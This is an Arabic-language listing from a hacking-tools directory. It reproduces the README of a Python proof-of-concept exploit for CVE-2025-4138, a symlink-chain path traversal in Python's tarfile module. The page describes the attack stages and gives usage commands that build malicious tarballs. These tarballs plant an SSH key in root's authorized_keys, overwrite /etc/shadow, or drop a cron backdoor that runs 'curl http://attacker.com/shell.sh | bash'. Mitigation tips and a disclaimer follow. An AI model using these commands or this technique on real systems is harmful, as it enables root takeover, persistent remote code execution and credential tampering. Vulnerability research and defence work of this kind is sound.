Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-4138-POC — Python PoC لـ CVE-2025-4138، ثغرة اجتياز مسار في وحدة tarfile في Python تستغل سلاسل الروابط الرمزية لتجاوز PATH_MAX لكتابة ملفات عشوائية. | Kitploit
أدوات/GitHubGitHub/d3vn0mi/cve-2025-4138-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمتطوير الحمولات
GitHubd3vn0mi/cve-2025-4138-poc

CVE-2025-4138-POC

Python PoC لـ CVE-2025-4138، ثغرة اجتياز مسار في وحدة tarfile في Python تستغل سلاسل الروابط الرمزية لتجاوز PATH_MAX لكتابة ملفات عشوائية.

عرض المستودع
1منذ 6 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-4138 - تجاوز PATH_MAX في وحدة tarfile بلغة Python (PoC)

المؤلف: d3vn0mi

root@kitploit:~
   _______  _______     ____  ___ ___  ___      _ _  _ _____ ___
  / ___\ \ / / ____|   |___ \/ _ \__ \| __|    | | || |___ /( _ )
 | |    \ V /|  _| _____ __) | | | |) |__ \ ___| | || |_|_ \/ _ \
 | |___  | | | |__|_____/ __/| |_| / __/___) |___|__   _|__) \__, |
  \____| |_| |_____|   |_____|\___/_____|____/      |_||____/ /_/

  [ CVE-2025-4138 :: Python tarfile PATH_MAX Bypass ]
  [ Author: d3vn0mi                                 ]

نظرة عامة

استغلال إثبات المفهوم لـ CVE-2025-4138، ثغرة اجتياز المسار في وحدة tarfile في بايثون. تسمح الثغرة للمهاجم بصنع أرشيف tar ضار يكتب ملفات إلى مواقع عشوائية خارج مجلد الاستخراج المقصود من خلال إساءة استخدام سلاسل الروابط الرمزية لتجاوز .

PATH_MAX

تفاصيل الثغرة

الحقلالقيمة
CVE IDCVE-2025-4138
المكونوحدة tarfile في بايثون
النوعاجتياز المسار (CWE-22)
المتجهسلسلة روابط رمزية + تجاوز PATH_MAX
التأثيركتابة ملف عشوائي خارج مجلد الاستخراج

كيف يعمل

يعمل الاستغلال في أربع مراحل:

  1. تضخيم المسار -- يتم بناء سلسلة من المجلدات والروابط الرمزية المتداخلة بعمق بحيث يتجاوز المسار المحلول بالكامل حد PATH_MAX للنواة (4096 بايت في لينكس).

  2. الرابط المحوري -- يتم إضافة رابط رمزي يتجاوز مساره المحلول حد PATH_MAX. بسبب طول المسار، تفشل فحوصات الأمان في وحدة tarfile (التي تعتمد على os.path.realpath()) بصمت وتتخطى التحقق.

  3. رابط الهروب -- يستخدم رابط رمزي ثانٍ ../ للاجتياز عبر الرابط المحوري للهروب من مجلد الاستخراج بالكامل والإشارة إلى مسار مطلق يتحكم به المهاجم على نظام الملفات.

  4. إسقاط الحمولة -- يتم كتابة ملف عادي عبر رابط الهروب، ليستقر في المسار المستهدف بمحتويات وصلاحيات يتحكم بها المهاجم.

root@kitploit:~
Extract dir
    |
    +-- ddd...d/          (247-char dir)
    |   +-- a -> ddd...d  (symlink shortcut)
    |   +-- ddd...d/
    |       +-- b -> ddd...d
    |       +-- ...       (16 levels deep, resolved path > 4096)
    |
    +-- a/b/.../p/lll...l -> ../../...   (pivot - PATH_MAX exceeded)
    +-- escape -> pivot + ../../... + /target/dir  (escape)
    +-- escape/target_file  <-- PAYLOAD LANDS HERE (outside extract dir)

التثبيت

root@kitploit:~
git clone https://github.com/d3vn0mi/cve_2025_4138_poc.git
cd cve_2025_4138_poc

لا توجد تبعيات خارجية مطلوبة — يستخدم الاستغلال وحدات مكتبة بايثون 3 القياسية فقط.

الاستخدام

root@kitploit:~
usage: cve_2025_4138.py [-h] [-o OUTPUT] [-t TARGET] [-p PAYLOAD]
                        [-s PAYLOAD_STRING] [-k SSH_KEY] [-m MODE]
                        [-d DEPTH] [-v] [-q]

الخيارات

العلمالوصف
-o, --outputمسار ملف tarball الناتج (افتراضي: exploit.tar)
-t, --targetالمسار المطلق للملف المراد كتابته على الهدف (افتراضي: /root/.ssh/authorized_keys)
-p, --payloadمسار ملف تصبح محتوياته هي الحمولة
-s, --payload-stringاستخدام سلسلة نصية حرفية كحمولة
-k, --ssh-keyمسار ملف مفتاح SSH عام
-m, --modeوضع صلاحية الملف بالأوكتال (افتراضي: 0600)
-d, --depthعمق اجتياز المجلدات (افتراضي: 8)
-v, --verifyإظهار محتويات tarball بعد الإنشاء
-q, --quietإخفاء الشعار

أمثلة

كتابة مفتاح SSH عام إلى authorized_keys للمستخدم root:

root@kitploit:~
python3 cve_2025_4138.py -k ~/.ssh/id_rsa.pub -v

كتابة مهمة cron للاستمرارية:

root@kitploit:~
python3 cve_2025_4138.py \
  -s "* * * * * root curl http://attacker.com/shell.sh | bash" \
  -t /etc/cron.d/backdoor \
  -m 0644 \
  -o cron_exploit.tar

كتابة محتويات ملف عشوائي من ملف محلي:

root@kitploit:~
python3 cve_2025_4138.py \
  -p payload.txt \
  -t /etc/shadow \
  -o shadow_exploit.tar \
  -v

المخرجات

root@kitploit:~
[*] Building exploit tarball: exploit.tar
[*] Target file: /root/.ssh/authorized_keys
[*] Payload size: 574 bytes
[*] Traversal depth: 8
[*] Stage 1/4: Creating symlink chain for path inflation...
[*]   Chain link 1/16: resolved path length ~247 bytes
[*]   Chain link 2/16: resolved path length ~494 bytes
    ...
[*] Stage 2/4: Creating pivot symlink (PATH_MAX bypass)...
[*] Stage 3/4: Creating escape symlink (directory traversal)...
[*] Stage 4/4: Writing payload through escape symlink...
[+] Exploit tarball created: exploit.tar
[+] Archive size: 20480 bytes
[+] Target: /root/.ssh/authorized_keys (mode 0o600)
[+] Done. Use with caution - authorized testing only.

التخفيف

  • ترقية بايثون إلى الإصدار المُصحّح عند إصدار الإصلاح.
  • استخدام tarfile.data_filter (بايثون 3.12+) الذي يوفر ضوابط استخراج أكثر صرامة.
  • لا تقم أبدًا باستخراج أرشيفات tar غير موثوقة كجذر أو في مجلدات حساسة.
  • استخدم --strip-components أو تحقق من محتويات الأرشيف قبل الاستخراج.
  • طبق حماية على مستوى نظام الملفات مثل تقييد تتبع الروابط الرمزية (fs.protected_symlinks).

إخلاء مسؤولية

هذه الأداة مقدمة لأغراض الاختبار الأمني المصرح به والتعليم فقط. الوصول غير المصرح به لأنظمة الحاسوب غير قانوني. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام. احصل دائمًا على إذن كتابي مناسب قبل الاختبار على أنظمة لا تملكها.

الترخيص

هذا المشروع مرخص بموجب رخصة MIT.


d3vn0mi | GitHub

تنزيل الأداة